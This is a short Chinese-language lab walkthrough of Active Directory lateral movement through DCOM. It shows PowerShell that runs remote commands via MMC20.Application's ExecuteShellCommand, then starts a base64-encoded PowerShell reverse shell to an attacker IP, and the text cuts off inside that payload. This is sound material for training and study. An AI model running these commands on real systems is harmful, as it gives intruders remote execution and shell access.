Active Directory 中的橫向移動 - DCOM
Active Directory 中的橫向移動 - DCOM 與 DCOM 的互動透過 TCP 連接埠 135 上的 RPC 執行,並且需要本機管理員存取權限才能呼叫 DCOM 服務控制管理員 接著將透過 FILES04(73) 的目標 IP 指定為 GetTypeFromProgID 方法的第二個參數來實例化遠端 MMC 2.0 應用程式,並將應用程式物件儲存到變數 $dcom 如下 $dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1"," 192.168.200.73 ")) 接著在遠端 DCOM 上執行命令 $dcom.Document.ActiveView.ExecuteShellCommand(" cmd ",$null," /c calc ","7") 一旦執行了上述兩行指令就應該產生一個計算器(小算盤)應用程式的實例 透過指令 tasklist | findstr "calc" 如下,會發現它位於會話 0 內 RDP 登入到 files04(73) 確認如下,可以看到有三個(因為我們執行了 3 次) 目的只是驗證剛剛的指令是有用的 透過我們在 WMI and WinRM 章節學到的,接下來讓我們直接將 Reverse Shell 的指令塞入剛剛的 DCOM 指令中,將 command 換成 Reverse Shell 指令 kali IP : 192.168.45.191 import sys import base64 payload = '$client = New-Object System.Net.Sockets.TCPClient(" 192.168.45.191 ", 4444 );$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -...